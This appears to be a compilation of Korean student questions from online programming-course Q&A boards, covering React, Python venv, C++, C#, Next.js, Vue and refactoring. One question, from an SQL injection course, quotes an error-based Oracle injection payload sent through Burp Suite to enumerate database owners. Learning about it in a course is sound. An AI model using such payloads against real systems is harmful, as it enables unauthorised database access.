아랫분들도 설명해주셨다싶이 버전이 바뀌면서 쓰이는 용어가 바뀌었어요! 다만 올려주신부분들이 다 수업끝부분 완성본인것같아서.. 저는 Home() About() Users()함수가 들어가야하는 초반 부분 수정본을 첨부해봅니다! import React from "react"; import { Route, Routes, BrowserRouter } from "react-router-dom"; function Home() { return <h2>Home</h2>; } function About() { return <h2>About</h2>; } function Users() { return <h2>Users</h2>; } function App() { return ( <BrowserRouter> <div> {/* A <Switch> looks through its children <Route>s and renders the first one that matches the current URL. */} <Routes> <Route path="/about" element={About()}> <Route /> </Route> <Route path="/users" element={Users()}> <Route /> </Route> <Route path="/" element={Home()}> <Route /> </Route> </Routes> </div> </BrowserRouter> ); } export default App;
vscode에서 venv로 가상환경 설치하고 사용중이고 venv는 backend의 상위폴더에서 설치했습니다. backend폴더에서 따로 vscode로 여니까 import 하는 부분에 저렇게 밑줄이 그어지네요.. runserver도 정상적으로 작동되고 다른 부분도 정상적으로 사용이 되지만 정상적인 경로에서 import 를 한건지 아님 정말 오류인건지 구분이 안되네요.. 방법이 없을까요?
강의 내용중 14분 20초 경에 궁금한 점이 있어 질문드립니다. p1 = p2; 를 시도하는게 바람직하지 않다고 하셨는데, 그 이유가 무엇일까요? p1에는 const가 없으니 다른 주소를 대입해도 문제가 없고, p2에 저장된 주소를 p1에 대입한다고 해서 p2의 값이 달라지거나 하지 않으니 역시 문제 없는게 아닌가요?
[C#과 유니티로 만드는 MMORPG 게임 개발 시리즈] Part7: MMO 컨텐츠 구현 (Unity + C# 서버 연동 기초)
안녕하세요 헷갈리는게 있어서 질문드립니다!! 아래 코드 보시면 몬스터나 projectTile를 상속 하는 오브젝트들을 메인 쓰레드로 무한반복을 하고 있습니다. 여기서 의문인점이 제가 배우기로는 foreach문을에서 collection를 사용할때 foreach가 돌고 있는 중간에 해당 컬렉션을 add나 remove를 해주면 오류가 발생하는걸로 알고 있는데... 화살 같은 경우에는 중간에 쏘면 인스턴스가 생성되고 그리고 사라지면 다시 remove해주고 하는데.. 혹시 제가 놓치고 있는 부분이 있을까요??
1. 맞은 코드: http://boj.kr/bfc24b98d15d4e65bce9cb7271137df7 2. 틀린 코드: http://boj.kr/a89e7e90e442422fb1569d22bb593ff7 두 코드를 짤 때 1번 코드의 경우 루트 위에 더미를 하나 넣어서 코드를 짯고.. 2번 코드는 루트 노드에 대한 예외처리를 해준 코드인데 2번 코드와 1번 코드가 별로 다른 점이 없는데 2번 코드에서만 틀린 판정을 받는 이유가 궁금합니다!
섹션2의 3강을 듣고 에러가 났습니다. configurestore.js reducers폴더의 index.js cmd에서 이렇게 뜹니다 error - ReferenceError: store is not defined at Module../reducers/index.js (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:226:1) at __webpack_require__ (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:23:31) at Module../store/configureStore.js (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:264:67) at __webpack_require__ (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:23:31) at Module../pages/_app.js (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:124:79) at __webpack_require__ (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:23:31) at Object.0 (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:292:18) at __webpack_require__ (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:23:31) at D:\인프런트위터\prepare\front\.next\server\pages\_app.js:91:18 at Object.<anonymous> (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:94:10) ReferenceError: store is not defined at Module../reducers/index.js (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:226:1) at __webpack_require__ (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:23:31) at Module../store/configureStore.js (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:264:67) at __webpack_require__ (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:23:31) at Module../pages/_app.js (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:124:79) at __webpack_require__ (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:23:31) at Object.0 (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:292:18) at __webpack_require__ (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:23:31) at D:\인프런트위터\prepare\front\.next\server\pages\_app.js:91:18 at Object.<anonymous> (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:94:10) error - ReferenceError: store is not defined at Module../reducers/index.js (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:226:1) at __webpack_require__ (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:23:31) at Module../store/configureStore.js (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:264:67) at __webpack_require__ (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:23:31) at Module../pages/_app.js (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:124:79) at __webpack_require__ (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:23:31) at Object.0 (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:292:18) at __webpack_require__ (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:23:31) at D:\인프런트위터\prepare\front\.next\server\pages\_app.js:91:18 at Object.<anonymous> (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:94:10) ReferenceError: store is not defined at Module../reducers/index.js (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:226:1) at __webpack_require__ (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:23:31) at Module../store/configureStore.js (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:264:67) at __webpack_require__ (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:23:31) at Module../pages/_app.js (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:124:79) at __webpack_require__ (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:23:31) at Object.0 (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:292:18) at __webpack_require__ (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:23:31) at D:\인프런트위터\prepare\front\.next\server\pages\_app.js:91:18 at Object.<anonymous> (D:\인프런트위터\prepare\front\.next\server\pages\_app.js:94:10)
안녕하세요 강사님 영상에서 설명해주신 /index.html#/login 과 /signup.html#/login 는 서버가 index.html을 인식하며 작동되는데 왜 #을 제거했을 때는 완전히 다른 주소로 인식되는지가 잘 이해가 되지 않습니다 ㅠㅠ 서버가 index.html#/login은 알지만 index.html/login은 모르는 이유가 혹시 기본 default가 hash모드여서 일까요?
안녕하세요 강의를 수강하고 있는 학생입니다. cpp 에서는 클래스 안에 private으로 접근제어자를 설정한 변수에 대해서라도 static으로 선언해준다면 클래스::static멤버변수 로 호출을 할 수 있는건가요?? 그렇게 되면 private으로 선언한 이유가 궁금합니다! 감사합니다
강의 수강 중 캡슐화 2번을 리팩토링 하는 과정에서 궁금한 점이 있습니다! getFrequentRenterPoints()를 Movie에서 구현을 해주셨는데 daysRented를 파라미터로 넘겨서 RenterPoints를 계산하는 과정에서 대여기간 조건을 2일, 3일 이런식으로 변경점이 생겼을 때 Movie 클래스에서 변경하면 된다고 하셨는데 대여기간 조건 변경이 생겼는데 Movie에서 로직을 변경하는게 맞는가? 라는 의문점이 들었습니다. 저의 생각은 renterpoint를 계산할 때 Rental 클래스에서 기존의 방식처럼 구현하는게 나중에 변경점이 생겼을 때 더 쉽게 찾을 수 있지 않을까 생각합니다. 혹시 제가 놓치고 있는 부분이 있을까요??
학습하는 분들께 도움이 되고, 더 좋은 답변을 드릴 수 있도록 질문전에 다음을 꼭 확인해주세요. 1. 강의 내용과 관련된 질문을 남겨주세요. 2. 인프런의 질문 게시판과 자주 하는 질문(링크)을 먼저 확인해주세요. (자주 하는 질문 링크: https://bit.ly/3fX6ygx) 3. 질문 잘하기 메뉴얼(링크)을 먼저 읽어주세요. (질문 잘하기 메뉴얼 링크: https://bit.ly/2UfeqCG) 질문 시에는 위 내용은 삭제하고 다음 내용을 남겨주세요. ========================================= [질문 템플릿] 1. 강의 내용과 관련된 질문인가요? (예/아니오) 2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? (예/아니오) 3. 질문 잘하기 메뉴얼을 읽어보셨나요? (예/아니오) [질문 내용] 회원가입 페이지에서 이름을 입력하면 에러가 발생하여 중복확인 메소드를 지우고 실행해보니 입력한 이름이 2번 db에 입력됩니다. 콘솔 화면에 insert문이 반복되는걸로 보여지는데 어디서 잘못된걸까요ㅠㅠ
모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1
버프 스위트 ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+owner+from+(select+rownum+r,+owner+from+(select+distinct+owner+from+all_tables))a+where+a.r%3d1)) C##CREHACKTIVE 쿼리박스 select owner from (select rownum r, owner from (select distinct owner from all_tables))a where a.r=1 SYS 쿼리박스랑 버프에서 결과값이 왜 다른건가요? 둘다 1 첫번째 행의 값을 가리키고 있는데 말이죠...?
안녕하세요 선생님. 질문이 있어요. 그전까지는 이해가 되었는데 Context강의가 유독 어렵네요... 먼저 DiaryStateContext.Provider의 value로 {data, onCreate, onRemove} 이렇게 넣으면 prop이 바뀌면 재생성된다는 것이 이해가 안되요. onCreate랑 onRemove는 useCallback으로 재생성 되는 것을 막아 놓은 것 아니었나요? 헷갈리네요. 두번째로 중첩으로 하는 이유가 잘 이해가 안 됩니다. 왜 중첩으로 하면 이게 해결이 될까요? 어차피 memoizedDispatches로 useMemo를 썼으면 그냥 DiaryStateContext.Provider에 value로 넣으면 안되는 건가요. 중첩으로 하는 이유가 잘 납득이 안됩니다. DiaryStateContext.Provieder value={data, memoizedDispatches} 이렇게 하면 안되나요? 그리고 useMemo로 묶는 부분도 다시 한번 설명해주실 수 있나요? useCallback으로 막아놨는데 왜 useMemo로 다시 묶어야 할까요 그냥 onCreate, onRemove, onEdit을 묶지 말고 따로따로 DiaryStateContext.Provider의 value로 {data, onCreate, onRemove} 이렇게 보내주면 안될까요? 강의를 두번 반복했는데도 잘 이해가 안되네요..